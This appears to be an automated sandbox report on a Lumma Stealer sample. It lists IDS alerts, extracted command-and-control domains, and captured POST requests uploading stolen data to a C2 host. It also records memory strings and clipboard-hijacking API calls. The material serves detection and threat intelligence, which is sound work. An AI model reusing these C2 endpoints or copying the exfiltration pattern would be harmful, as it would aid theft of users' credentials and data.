Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49758 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.9:49750 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49707 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49707 -> 104.21.71.155:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: volcanohushe.click

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49707 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49708 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49725 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49731 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49758 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49719 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49742 -> 104.21.71.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49750 -> 104.21.71.155:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: volcanohushe.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 50Host: volcanohushe.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4WYAIWBAUVIRYKPM89User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12848Host: volcanohushe.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3V7OYQ7SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15006Host: volcanohushe.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VJ30NNYZ15CBSK94User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20570Host: volcanohushe.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=AQ6UQNRMT0LZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1198Host: volcanohushe.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9NJQ355O5H0TXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 569831Host: volcanohushe.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 85Host: volcanohushe.click

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: volcanohushe.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: volcanohushe.click

Source: uUtgy7BbF1.exe, 00000003.00000003.1447453560.0000000003B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: uUtgy7BbF1.exe, 00000003.00000003.1447453560.0000000003B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: uUtgy7BbF1.exe, 00000003.00000003.1447453560.0000000003B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: uUtgy7BbF1.exe, 00000003.00000003.1447453560.0000000003B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: uUtgy7BbF1.exe, 00000003.00000003.1447453560.0000000003B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: uUtgy7BbF1.exe, 00000003.00000003.1447453560.0000000003B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: uUtgy7BbF1.exe, 00000003.00000003.1447453560.0000000003B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: uUtgy7BbF1.exe, 00000003.00000003.1447453560.0000000003B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: uUtgy7BbF1.exe, 00000003.00000003.1447453560.0000000003B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: uUtgy7BbF1.exe, 00000003.00000003.1447453560.0000000003B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: uUtgy7BbF1.exe, 00000003.00000003.1447453560.0000000003B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: uUtgy7BbF1.exe, 00000003.00000003.1448798991.0000000003B4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.
Source: uUtgy7BbF1.exe, 00000003.00000003.1448798991.0000000003B4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta
Source: uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: uUtgy7BbF1.exe, 00000003.00000003.1448798991.0000000003B4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: uUtgy7BbF1.exe, 00000003.00000003.1448798991.0000000003B4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: uUtgy7BbF1.exe, 00000003.00000003.1448798991.0000000003B4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: uUtgy7BbF1.exe, 00000003.00000003.1448490159.0000000003DF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: uUtgy7BbF1.exe, 00000003.00000003.1448490159.0000000003DF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: uUtgy7BbF1.exe, 00000003.00000003.1509986181.00000000011E4000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1480945277.000000000116B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://volcanohushe.click/
Source: uUtgy7BbF1.exe, 00000003.00000003.2171694091.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000002.2569837325.00000000011C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://volcanohushe.click/ND
Source: uUtgy7BbF1.exe, 00000003.00000003.2171537898.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.2171711444.00000000011E3000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1523262871.00000000011E4000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000002.2569920904.00000000011E4000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1509986181.00000000011E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://volcanohushe.click/T
Source: uUtgy7BbF1.exe, 00000003.00000003.1562578102.00000000011C4000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1389102087.000000000115E000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000002.2569920904.00000000011E4000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1447167751.0000000003B65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://volcanohushe.click/api
Source: uUtgy7BbF1.exe, 00000003.00000003.1389246708.000000000116B000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1389102087.0000000001169000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1389289848.0000000001189000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://volcanohushe.click/apiNA
Source: uUtgy7BbF1.exe, 00000003.00000003.1389246708.000000000116B000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1389102087.0000000001169000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1389289848.0000000001189000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://volcanohushe.click/apiND
Source: uUtgy7BbF1.exe, 00000003.00000003.1562872208.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.2171694091.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000002.2569837325.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1562578102.00000000011C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://volcanohushe.click/apip
Source: uUtgy7BbF1.exe, 00000003.00000003.1510242320.00000000011C9000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1510107757.00000000011C4000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1562872208.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.2171694091.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000002.2569837325.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1562578102.00000000011C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://volcanohushe.click/apis
Source: uUtgy7BbF1.exe, 00000003.00000003.1562773864.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://volcanohushe.click:443/apiCLSID
Source: uUtgy7BbF1.exe, 00000003.00000003.1448798991.0000000003B4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5
Source: uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: uUtgy7BbF1.exe, 00000003.00000003.1448798991.0000000003B4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: uUtgy7BbF1.exe, 00000003.00000003.1448490159.0000000003DF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.HCe2hc5EPKfq
Source: uUtgy7BbF1.exe, 00000003.00000003.1448490159.0000000003DF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.oX6J3D7V9Efv
Source: uUtgy7BbF1.exe, 00000003.00000003.1448490159.0000000003DF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: uUtgy7BbF1.exe, 00000003.00000003.1448490159.0000000003DF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: uUtgy7BbF1.exe, 00000003.00000003.1448490159.0000000003DF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: uUtgy7BbF1.exe, 00000003.00000003.1448490159.0000000003DF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758

Source: unknown	HTTPS traffic detected: 104.21.71.155:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.155:443 -> 192.168.2.9:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.155:443 -> 192.168.2.9:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.155:443 -> 192.168.2.9:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.155:443 -> 192.168.2.9:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.155:443 -> 192.168.2.9:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.155:443 -> 192.168.2.9:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.155:443 -> 192.168.2.9:49758 version: TLS 1.2

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Code function: 3_2_00433500 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00433500

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Code function: 3_2_038A1000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

3_2_038A1000

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

Code function: 3_2_00433500 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00433500

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_00671000	0_2_00671000
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_0067E094	0_2_0067E094
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_00696102	0_2_00696102
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_00682AA1	0_2_00682AA1
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_006943FF	0_2_006943FF
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_00688D90	0_2_00688D90
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 0_2_00683EA0	0_2_00683EA0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004098CE	3_2_004098CE
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004230D3	3_2_004230D3
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00426090	3_2_00426090
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0042217D	3_2_0042217D
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0040D11B	3_2_0040D11B
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0042C98C	3_2_0042C98C
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00411BC0	3_2_00411BC0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0043DBAC	3_2_0043DBAC
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00409400	3_2_00409400
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004384B0	3_2_004384B0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0041052C	3_2_0041052C
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0043FEF0	3_2_0043FEF0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00440770	3_2_00440770
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004387D0	3_2_004387D0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00429070	3_2_00429070
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00409000	3_2_00409000
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00428000	3_2_00428000
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0041C0C0	3_2_0041C0C0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004058D0	3_2_004058D0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004038D0	3_2_004038D0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00423750	3_2_00423750
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0043E8A7	3_2_0043E8A7
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0042A950	3_2_0042A950
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0041C920	3_2_0041C920
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004301D5	3_2_004301D5
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004239E0	3_2_004239E0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004391E1	3_2_004391E1
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00408180	3_2_00408180
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00406180	3_2_00406180
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00440180	3_2_00440180
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0041E990	3_2_0041E990
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0041A190	3_2_0041A190
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00419190	3_2_00419190
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0041B9A0	3_2_0041B9A0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00418241	3_2_00418241
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0041FA74	3_2_0041FA74
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00430A78	3_2_00430A78
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00417207	3_2_00417207
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00433210	3_2_00433210
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00428A31	3_2_00428A31
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00415A3C	3_2_00415A3C
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0042C2C1	3_2_0042C2C1
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00404280	3_2_00404280
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004142A0	3_2_004142A0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00417AB8	3_2_00417AB8
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00423B40	3_2_00423B40
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0041D350	3_2_0041D350
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00421B00	3_2_00421B00
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0042D306	3_2_0042D306
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004163C0	3_2_004163C0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004393D0	3_2_004393D0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004383D0	3_2_004383D0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_004073F0	3_2_004073F0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0042D3F1	3_2_0042D3F1
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00425380	3_2_00425380
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0043F380	3_2_0043F380
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00422B84	3_2_00422B84
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0041CB90	3_2_0041CB90
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0042D391	3_2_0042D391
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00422BA0	3_2_00422BA0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00404BB0	3_2_00404BB0
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00440450	3_2_00440450
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0042B46E	3_2_0042B46E
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00436C7D	3_2_00436C7D
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00426430	3_2_00426430
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0042B435	3_2_0042B435
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00418CE1	3_2_00418CE1
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_00439C8E	3_2_00439C8E
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Code function: 3_2_0043F490	3_2_0043F490
